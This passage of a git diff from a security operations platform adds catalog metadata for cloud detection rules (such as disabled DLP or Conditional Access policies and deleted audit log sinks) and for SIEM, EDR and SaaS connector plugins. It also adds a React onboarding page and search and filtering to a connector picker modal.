+ "description": "A Data Loss Prevention policy was disabled in Microsoft Purview. Disabling DLP removes the guardrails that prevent sensitive data from leaving the tenant via email, Teams, or SharePoint.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001",
+ "T1537"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-purview-dlp-policy-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-204",
+ "type": "detection",
+ "name": "M365 Purview Sensitivity Label Removed From Document",
+ "description": "A sensitivity label was downgraded or removed from a document in SharePoint or OneDrive. This may indicate an attempt to bypass DLP controls before exfiltrating classified content.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1565.001",
+ "T1537"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-purview-sensitivity-label-removed.yaml"
+ },
+ {
+ "id": "det-cloud-205",
+ "type": "detection",
+ "name": "M365 Purview Retention Policy Deleted",
+ "description": "A retention or preservation policy was deleted. Removing retention enables permanent deletion of email and documents that may be relevant to legal holds or incident investigations.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1485",
+ "T1070"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-impact",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-purview-retention-policy-deleted.yaml"
+ },
+ {
+ "id": "det-cloud-206",
+ "type": "detection",
+ "name": "M365 Power Platform DLP Connector Policy Modified",
+ "description": "A Power Platform data policy was modified to reclassify or unblock connectors. Moving connectors out of the blocked group allows low-code flows to exfiltrate data via HTTP, Dropbox, or other external services.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001",
+ "T1537"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-power-platform-dlp-policy-modified.yaml"
+ },
+ {
+ "id": "det-cloud-207",
+ "type": "detection",
+ "name": "M365 Power Automate Flow Shared With External User",
+ "description": "A Power Automate flow was shared with an external (guest) user. External users with flow access can trigger automations that read mailboxes, access SharePoint, or call Graph API on behalf of internal identities.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1078.004",
+ "T1199"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-persistence",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-power-automate-flow-shared-externally.yaml"
+ },
+ {
+ "id": "det-cloud-208",
+ "type": "detection",
+ "name": "M365 Entra ID Conditional Access Policy Disabled",
+ "description": "A Conditional Access policy was set to report-only or disabled. Disabling CA policies removes MFA enforcement, device compliance checks, or location-based access controls for the tenant.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001",
+ "T1556"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-entra-conditional-access-policy-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-209",
+ "type": "detection",
+ "name": "M365 Entra PIM Global Admin Role Activated",
+ "description": "A user activated the Global Administrator role via Privileged Identity Management. While PIM is a legitimate workflow, Global Admin activation should be rare and audited since it grants unrestricted tenant access.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1078.004",
+ "T1098.003"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-privilege-escalation",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-entra-pim-role-activated-global-admin.yaml"
+ },
+ {
+ "id": "det-cloud-210",
+ "type": "detection",
+ "name": "M365 Entra Cross-Tenant Access Policy Changed",
+ "description": "An inbound or outbound cross-tenant access policy was created or modified. Misconfigured policies can allow external tenants to access internal resources or bypass B2B trust boundaries.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1199",
+ "T1078.004"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-initial-access",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-entra-cross-tenant-access-policy-changed.yaml"
+ },
+ {
+ "id": "det-cloud-211",
+ "type": "detection",
+ "name": "M365 OAuth App Accessing Mailbox via Graph API",
+ "description": "An OAuth application accessed a mailbox through Microsoft Graph with application-level (not delegated) permissions. Compromised OAuth apps with Mail.Read or Mail.ReadWrite can silently exfiltrate email at scale.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.002",
+ "T1528"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-collection",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-oauth-app-mailbox-access.yaml"
+ },
+ {
+ "id": "det-cloud-212",
+ "type": "detection",
+ "name": "Azure Key Vault Purge Protection Disabled",
+ "description": "Purge protection was disabled on an Azure Key Vault. Without purge protection, soft-deleted secrets, keys, and certificates can be permanently destroyed before the retention period expires, enabling evidence destruction.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1485",
+ "T1070"
+ ],
+ "log_source": "azure",
+ "playbook": "tpl-impact",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/azure-key-vault-purge-protection-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-213",
+ "type": "detection",
+ "name": "Azure Elevated Access to Manage All Subscriptions",
+ "description": "A Global Admin activated elevated access at the management group root, granting User Access Administrator over every Azure subscription in the tenant. This is the single most powerful escalation in Azure and should be extremely rare.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1078.004",
+ "T1098.003"
+ ],
+ "log_source": "azure",
+ "playbook": "tpl-privilege-escalation",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/azure-management-group-elevated-access.yaml"
+ },
+ {
+ "id": "det-cloud-214",
+ "type": "detection",
+ "name": "Azure Defender for Cloud Plan Disabled",
+ "description": "A Microsoft Defender for Cloud plan (Servers, Storage, SQL, etc.) was set to Free tier, removing threat detection and advanced security for that resource type across the subscription.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001"
+ ],
+ "log_source": "azure",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/azure-defender-for-cloud-plan-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-215",
+ "type": "detection",
+ "name": "GCP Organization Policy Constraint Removed",
+ "description": "An organization policy constraint was deleted or reset to default. Removing constraints like domain-restricted sharing or uniform bucket-level access weakens tenant-wide security guardrails.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001"
+ ],
+ "log_source": "gcp",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/gcp-org-policy-constraint-removed.yaml"
+ },
+ {
+ "id": "det-cloud-216",
+ "type": "detection",
+ "name": "GCP VPC Firewall Rule Allows All Ingress",
+ "description": "A firewall rule was created or updated to allow ingress from 0.0.0.0/0 on all ports or a wide port range. This exposes compute instances to the public internet without restriction.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.007"
+ ],
+ "log_source": "gcp",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/gcp-vpc-firewall-rule-allow-all-ingress.yaml"
+ },
+ {
+ "id": "det-cloud-217",
+ "type": "detection",
+ "name": "GCP Cloud Armor Security Policy Removed",
+ "description": "A Cloud Armor security policy was deleted from a backend service. This removes WAF rules, DDoS protection, and geo-blocking controls from the exposed endpoint.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001"
+ ],
+ "log_source": "gcp",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/gcp-cloud-armor-policy-removed.yaml"
+ },
+ {
+ "id": "det-cloud-218",
+ "type": "detection",
+ "name": "GCP Audit Log Sink Deleted",
+ "description": "A Cloud Logging sink was deleted. Sinks route audit logs to BigQuery, Cloud Storage, or SIEM destinations. Deleting a sink creates a blind spot in the security monitoring pipeline.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.008"
+ ],
+ "log_source": "gcp",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/gcp-audit-log-sink-deleted.yaml"
+ },
{
"id": "det-data-exfil-001",
"type": "detection",
@@ -221610,6 +222417,30 @@
"enabled": true,
"path": "playbooks/packs/v1/supply-chain/supply-vendor-breach.playbook.json"
},
+ {
+ "id": "auth0",
+ "type": "plugin",
+ "name": "Auth0 Tenant Logs Connector",
+ "description": "Auth0 tenant logs. Pulls login events, MFA events, and admin actions via the Management API.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "iam",
+ "auth0",
+ "okta",
+ "identity"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/auth0.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/auth0/plugin.yaml"
+ },
{
"id": "azure-activity",
"type": "plugin",
@@ -221688,6 +222519,78 @@
"tier": "stable",
"path": "plugins/azure-entra/plugin.yaml"
},
+ {
+ "id": "carbon-black",
+ "type": "plugin",
+ "name": "Carbon Black Cloud Connector",
+ "description": "VMware Carbon Black Cloud (formerly Carbon Black Defense). Pulls alerts and audit log entries via API key authentication. Supports host isolation and hash banning via agent capabilities.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "edr",
+ "carbon-black",
+ "vmware",
+ "endpoint"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/carbon_black.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/carbon-black/plugin.yaml"
+ },
+ {
+ "id": "chronicle",
+ "type": "plugin",
+ "name": "Google Chronicle SecOps Connector",
+ "description": "Google Chronicle SecOps SIEM. Pulls detections and supports UDM searches. Auth is via a Google Cloud service account JSON key with chronicle.* roles.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "siem",
+ "google",
+ "chronicle",
+ "secops"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/chronicle.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/chronicle/plugin.yaml"
+ },
+ {
+ "id": "cisco-umbrella",
+ "type": "plugin",
+ "name": "Cisco Umbrella DNS Connector",
+ "description": "Cisco Umbrella DNS + secure web gateway activity. Surfaces blocked domains, malware verdicts, and proxy events.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "network",
+ "cisco",
+ "umbrella",
+ "dns"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/cisco_umbrella.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/cisco-umbrella/plugin.yaml"
+ },
{
"id": "cloudflare",
"type": "plugin",
@@ -221742,6 +222645,53 @@
"tier": "stable",
"path": "plugins/cloudflare-waf/plugin.yaml"
},
+ {
+ "id": "cortex-xsiam",
+ "type": "plugin",
+ "name": "Palo Alto Cortex XSIAM Connector",
+ "description": "Palo Alto Networks Cortex XSIAM \u2014 pulls correlated incidents and supports XQL queries over the platform's data lake. Endpoint isolation is exposed as an agent action.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "siem",
+ "xsiam",
+ "palo-alto",
+ "cortex"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/cortex_xsiam.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/cortex-xsiam/plugin.yaml"
+ },
+ {
+ "id": "datadog-cloud-siem",
+ "type": "plugin",
+ "name": "Datadog Cloud SIEM Connector",
+ "description": "Datadog Cloud SIEM. Pulls Security Signals and supports log search across the Datadog logs platform.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "siem",
+ "datadog",
+ "cloud-siem"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/datadog_cloud_siem.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/datadog-cloud-siem/plugin.yaml"
+ },
{
"id": "datadog-incidents",
"type": "plugin",
@@ -221770,6 +222720,31 @@
"tier": "stable",
"path": "plugins/datadog-incidents/plugin.yaml"
},
+ {
+ "id": "email-inbox",
+ "type": "plugin",
+ "name": "Email Inbox (IMAP)",
+ "description": "Polls a mailbox over IMAP and ingests each forwarded alert email as an event. Last-resort path for vendors that can't push to /v1/inbox/email but can email alerts to a dedicated mailbox. Pairs with the email-forwarded ingest template.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "email",
+ "imap",
+ "inbox",
+ "universal-capture",
+ "connector"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/plugins/email-inbox",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": false,
+ "source": "core",
+ "tier": "beta",
+ "path": "plugins/email-inbox/plugin.yaml"
+ },
{
"id": "gcp-cloud-audit",
"type": "plugin",
@@ -221959,6 +222934,30 @@
"tier": "stable",
"path": "plugins/jamf-mdm/plugin.yaml"
},
+ {
+ "id": "lacework",
+ "type": "plugin",
+ "name": "Lacework / Fortinet FortiCNAPP Connector",
+ "description": "Lacework cloud security platform. Pulls alerts (events) and supports compliance / configuration query.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "cloud",
+ "lacework",
+ "cnapp",
+ "compliance"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/lacework.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/lacework/plugin.yaml"
+ },
{
"id": "m365-audit",
"type": "plugin",
@@ -221987,6 +222986,30 @@
"tier": "stable",
"path": "plugins/m365-audit/plugin.yaml"
},
+ {
+ "id": "mimecast",
+ "type": "plugin",
+ "name": "Mimecast Email Security Connector",
+ "description": "Mimecast Email Security 2.0 API. Pulls held messages, SIEM events, and URL protect verdicts as alerts.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "email",
+ "mimecast",
+ "saas",
+ "phishing"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/mimecast.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/mimecast/plugin.yaml"
+ },
{
"id": "mttr-widget",
"type": "plugin",
@@ -222126,6 +223149,78 @@
"tier": "stable",
"path": "plugins/pagerduty-paging/plugin.yaml"
},
+ {
+ "id": "rapid7-insightidr",
+ "type": "plugin",
+ "name": "Rapid7 InsightIDR Connector",
+ "description": "Rapid7 InsightIDR cloud SIEM/XDR. Pulls investigations and supports log search across collected sources.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "siem",
+ "rapid7",
+ "insightidr",
+ "udba"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/rapid7_insightidr.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/rapid7-insightidr/plugin.yaml"
+ },
+ {
+ "id": "salesforce",
+ "type": "plugin",
+ "name": "Salesforce Event Monitoring Connector",
+ "description": "Salesforce Event Monitoring + Setup Audit Trail. Pulls EventLogFile entries (logins, API usage, report exports) and SetupAuditTrail (admin config changes).",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "saas",
+ "salesforce",
+ "crm",
+ "audit"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/salesforce.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/salesforce/plugin.yaml"
+ },
+ {
+ "id": "slack-audit",
+ "type": "plugin",
+ "name": "Slack Enterprise Audit Logs Connector",
+ "description": "Slack Enterprise Grid Audit Logs. Pulls workspace and org-level audit events (logins, channel changes, file shares, app installs). Requires the auditlogs:read scope on an Org-level Slack app.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "saas",
+ "slack",
+ "audit",
+ "collaboration"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/slack_audit.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/slack-audit/plugin.yaml"
+ },
{
"id": "slack-quarantine",
"type": "plugin",
@@ -222182,6 +223277,29 @@
"tier": "stable",
"path": "plugins/snowflake-events/plugin.yaml"
},
+ {
+ "id": "sumo-logic",
+ "type": "plugin",
+ "name": "Sumo Logic Cloud SIEM Connector",
+ "description": "Sumo Logic Cloud SIEM Enterprise (CSE). Pulls insights and signals, and supports log search jobs across the platform.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "siem",
+ "sumo-logic",
+ "cloud-siem"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/sumo_logic.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/sumo-logic/plugin.yaml"
+ },
{
"id": "tailscale-acl",
"type": "plugin",
@@ -222236,6 +223354,53 @@
"tier": "beta",
"path": "plugins/tailscale-connector/plugin.yaml"
},
+ {
+ "id": "tenable-io",
+ "type": "plugin",
+ "name": "Tenable Vulnerability Management Connector",
+ "description": "Tenable.io / Tenable Vulnerability Management. Pulls vulnerability findings as alerts and exposes asset and vulnerability enrichment for the agent.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "vuln",
+ "tenable",
+ "vulnerability-management"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/tenable.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/tenable-io/plugin.yaml"
+ },
+ {
+ "id": "trend-vision-one",
+ "type": "plugin",
+ "name": "Trend Vision One Connector",
+ "description": "Trend Micro Vision One XDR. Pulls Workbench alerts and OAT (Observed Attack Technique) detections. Supports endpoint isolation as an agent capability.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "edr",
+ "xdr",
+ "trend-micro",
+ "endpoint"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/trend_vision_one.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/trend-vision-one/plugin.yaml"
+ },
{
"id": "twilio-sms",
"type": "plugin",
diff --git a/apps/web/src/app/(app)/onboarding/page.tsx b/apps/web/src/app/(app)/onboarding/page.tsx
new file mode 100644
index 000000000..0fed69566
--- /dev/null
+++ b/apps/web/src/app/(app)/onboarding/page.tsx
@@ -0,0 +1,16 @@
+import { OnboardingView } from '@/components/onboarding/OnboardingView';
+
+export const metadata = {
+ title: 'Get started | AiSOC',
+};
+
+// Onboarding has no static data — the catalog and any existing connectors
+// come from the API at request time. Force dynamic so we never serve a
+// stale "no connectors yet" snapshot to a tenant that has already onboarded.
+export const dynamic = 'force-dynamic';
+export const revalidate = 0;
+export const fetchCache = 'force-no-store';
+
+export default function OnboardingPage() {
+ return <OnboardingView />;
+}
diff --git a/apps/web/src/components/connectors/AddConnectorModal.tsx b/apps/web/src/components/connectors/AddConnectorModal.tsx
index 3d92a0746..af0951f9c 100644
--- a/apps/web/src/components/connectors/AddConnectorModal.tsx
+++ b/apps/web/src/components/connectors/AddConnectorModal.tsx
@@ -31,16 +31,21 @@
* fragment the form/state coupling for no real reuse benefit.
*/
-import { Fragment, useEffect, useMemo, useState } from 'react';
+import { Fragment, useEffect, useMemo, useRef, useState } from 'react';
import { AnimatePresence, motion } from 'framer-motion';
import { clsx } from 'clsx';
import toast from 'react-hot-toast';
import {
connectorsApi,
+ oauthApi,
+ ApiError,
type Connector,
type ConnectorCatalogEntry,
+ type ConnectorLastEvent,
type ConnectorSchemaField,
type ConnectorTestResult,
+ type OAuthAppView,
+ type TroubleshootResponse,
} from '@/lib/api';
// ─── Field rendering helpers ────────────────────────────────────────────────
@@ -200,7 +205,10 @@ function FieldInput({ field, value, onChange }: FieldInputProps) {
// ─── Catalog grid ────────────────────────────────────────────────────────────
-const CATEGORY_ORDER: string[] = [
+// Exported because the `/onboarding` landing reuses these to render its own
+// hero-level category pills and "most teams pick" row outside the modal,
+// and we want both surfaces to stay in lockstep.
+export const CATEGORY_ORDER: string[] = [
'edr',
'siem',
'cloud',
@@ -210,7 +218,7 @@ const CATEGORY_ORDER: string[] = [
'network',
];
-const CATEGORY_LABEL: Record<string, string> = {
+export const CATEGORY_LABEL: Record<string, string> = {
edr: 'Endpoint',
siem: 'SIEM',
cloud: 'Cloud',
@@ -220,16 +228,75 @@ const CATEGORY_LABEL: Record<string, string> = {
network: 'Network',
};
+/**
+ * Hand-curated short-list of "most teams pick" connectors that we surface
+ * at the very top of the picker. The order is intentional (highest-volume
+ * pickup first) and is the same heuristic used by the /onboarding "set up
+ * your first connector" CTA.
+ *
+ * IDs not present in the catalog are silently skipped, so dropping a
+ * connector class never breaks the picker.
+ */
+export const MOST_TEAMS_PICK: string[] = [
+ 'crowdstrike',
+ 'sentinelone',
+ 'microsoft_defender',
+ 'okta',
+ 'azure_ad',
+ 'aws_security_hub',
+ 'github',
+ 'splunk',
+ 'jira',
+ 'servicenow',
+];
+
function CatalogGrid({
entries,
onPick,
+ query,
+ categoryFilter,
}: {
entries: ConnectorCatalogEntry[];
onPick: (entry: ConnectorCatalogEntry) => void;
+ query: string;
+ /**
+ * Optional pre-filter to a single category (e.g. "edr"). When set, only
+ * entries with `e.category === categoryFilter` are shown — the curated
+ * "Most teams pick" row is also suppressed because the operator has
+ * already declared intent.
+ */
+ categoryFilter?: string | null;
}) {
+ // Apply category and free-text filters in order. Category is a hard cut
+ // (operator clicked "Endpoint" — they want endpoint connectors and only
+ // endpoint connectors); the search is then applied on top of that.
+ const filtered = useMemo(() => {
+ let pool = entries;
+ if (categoryFilter) {
+ pool = pool.filter((e) => (e.category || 'other') === categoryFilter);
+ }
+ const q = query.trim().toLowerCase();
+ if (!q) return pool;
+ return pool.filter((e) => {
+ return (
+ e.connector_name.toLowerCase().includes(q) ||
+ e.connector_id.toLowerCase().includes(q) ||
+ (e.description ?? '').toLowerCase().includes(q) ||
+ (e.category ?? '').toLowerCase().includes(q)
+ );
+ });
+ }, [entries, query, categoryFilter]);
+
+ const popular = useMemo(() => {
+ const byId = new Map(filtered.map((e) => [e.connector_id, e]));
+ return MOST_TEAMS_PICK.map((id) => byId.get(id)).filter(
+ (e): e is ConnectorCatalogEntry => Boolean(e),
+ );
+ }, [filtered]);
+
const grouped = useMemo(() => {
const groups: Record<string, ConnectorCatalogEntry[]> = {};
- for (const e of entries) {
+ for (const e of filtered) {
const cat = e.category || 'other';
if (!groups[cat]) groups[cat] = [];
groups[cat].push(e);
@@ -237,7 +304,7 @@ function CatalogGrid({
// Stable sort by display order, with unknown categories appended.
const ordered = [...CATEGORY_ORDER.filter((c) => groups[c]), ...Object.keys(groups).filter((c) => !CATEGORY_ORDER.includes(c))];
return ordered.map((c) => ({ category: c, entries: groups[c] }));
- }, [entries]);
+ }, [filtered]);
if (entries.length === 0) {
return (
@@ -247,8 +314,54 @@ function CatalogGrid({
);
}
+ if (filtered.length === 0) {
+ return (
+ <div className="text-center text-sm text-gray-500 py-12">
+ No connectors match <span className="text-gray-300">{query}</span>.
+ </div>
+ );
+ }
+
return (
<div className="space-y-6">
+ {/* Most teams pick — only when not actively searching and not
+ filtered to a specific category. Suppressing the curated row
+ when a category pill is active avoids duplicating cards that
+ would already appear in the per-category section. */}
+ {!query.trim() && !categoryFilter && popular.length > 0 && (
+ <section aria-labelledby="cat-popular">
+ <h3
+ id="cat-popular"
+ className="text-[11px] uppercase tracking-wider text-amber-300/80 font-semibold mb-2"
+ >
+ Most teams pick
+ </h3>
+ <div className="grid grid-cols-2 lg:grid-cols-3 gap-3">
+ {popular.map((entry) => (
+ <button
+ key={`popular-${entry.connector_id}`}
+ type="button"
+ onClick={() => onPick(entry)}
+ className="text-left rounded-lg border border-amber-500/20 bg-amber-500/5 hover:bg-amber-500/10 hover:border-amber-500/40 transition-colors p-4 group"
+ >
+ <div className="flex items-start justify-between gap-2 mb-1">
+ <span className="text-sm font-medium text-gray-100 group-hover:text-white">
+ {entry.connector_name}
+ </span>
+ {entry.oauth?.supported_in_hosted && (
+ <span className="text-[10px] uppercase tracking-wider text-emerald-300/90 bg-emerald-500/10 border border-emerald-500/30 rounded px-1.5 py-0.5">
+ OAuth one-click
+ </span>
+ )}
+ </div>
+ <p className="text-xs text-gray-500 line-clamp-2">{entry.description}</p>
+ <p className="mt-2 text-[11px] text-gray-600 font-mono">{entry.connector_id}</p>
+ </button>
+ ))}
+ </div>
+ </section>
+ )}
+
{grouped.map(({ category, entries: groupEntries }) => (
<section key={category} aria-labelledby={`cat-${category}`}>
<h3
@@ -270,8 +383,8 @@ function CatalogGrid({
{entry.connector_name}
</span>
{entry.oauth?.supported_in_hosted && (
